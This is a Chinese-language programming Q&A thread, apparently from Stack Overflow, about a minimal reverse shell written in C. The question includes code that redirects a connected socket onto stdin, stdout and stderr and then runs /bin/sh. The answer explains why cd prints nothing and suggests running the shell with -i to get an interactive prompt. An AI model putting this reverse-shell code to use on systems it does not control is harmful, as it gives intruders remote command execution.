0

我试图在 C 中构建一个非常小的反向 shell。

连接有效,命令也被执行,但我想知道如何打印当前目录。到目前为止我的代码:

客户:

// [...]
// creating socket
// connect

void handle_connection(socket_t* sock, char** argv, char** env) {
    // redirect stdout, stdin, stderr
    for (int i = 0; i <= 2; i++)
        dup2(*sock, i);

    execve("/bin/sh", argv, env);
}

在服务器端,我只是使用 nc 工作正常。但是当前目录并没有像往常一样打印出来。前任 如果我发送“cd [...]”,则根本没有输出。

如何将当前目录发送到服务器?

谢谢你的帮助。

4

1 回答 1

1

如果要查看当前目录,请运行pwd命令。

cd命令不打印任何输出。因此,您将看不到任何输出。

但是,如果您以交互方式运行 shell,则 shell在执行命令后会打印一个提示。某些 shell 或根据您的配置,该提示可能包括当前工作目录。

但是,当您将套接字连接到 shell 的 stdin/out/err 时,shell 会发现它不在交互模式下,并且不会出现提示。简单地运行cd命令不会给你任何输出。

您可以强制 shell 进入交互模式,在这种情况下,它应该在每个命令后打印提示符,运行

execl("/bin/sh", "/bin/sh/", "-i", NULL);

(或者找到一些在你的 execve() 调用中添加“-i”参数的方法)

于 2018-04-11T15:45:26.370 回答